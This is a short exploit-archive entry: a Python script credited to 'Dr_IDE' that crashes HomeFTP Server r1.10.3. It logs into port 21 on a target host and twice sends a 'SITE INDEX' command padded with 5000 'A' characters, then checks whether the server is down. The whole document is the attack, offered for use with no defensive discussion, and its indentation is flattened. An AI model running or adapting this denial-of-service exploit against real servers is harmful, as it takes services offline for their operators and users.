Home FTP Server 1.10.3 Denial Of Service

`#!/usr/bin/python  
###################################################################  
#  
# HomeFTP Server r1.10.3 (build 144) Denial of Service Exploit  
# Found By: Dr_IDE  
# Date: May 28, 2010  
# Download: http://downstairs.dnsalias.net/products.html  
# Tested: Windows 7  
#  
###################################################################  
  
import socket, sys  
  
host = (sys.argv[1])  
buff = ("A" * 5000)  
cmds = ('SITE INDEX')  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
print ("\r\n[i] Connecting to: " + host +"\r\n")  
print ("[*] Crashing server with command: " + cmds + "\r\n")  
  
try:  
s.connect((host, 21))  
d=s.recv(1024)  
print (d)  
s.send("USER dr_ide\r\n") #anonymous login so anything goes  
d=s.recv(1024)  
print (d)  
s.send("PASS dr_ide\r\n")  
d=s.recv(1024)  
print (d)  
s.send(cmds + " " + buff + '\r\n')  
d=s.recv(1024)  
print (d)  
s.send(cmds + " " + buff + '\r\n') #Second time does the trick.  
d=s.recv(1024)  
print (d)  
s.close()  
  
try:  
s.connect((host,21))  
except:  
print ("\r\n[i] Success, Server is Down.")  
except:  
print ("[i] Error")  
  
  
  
# End  
`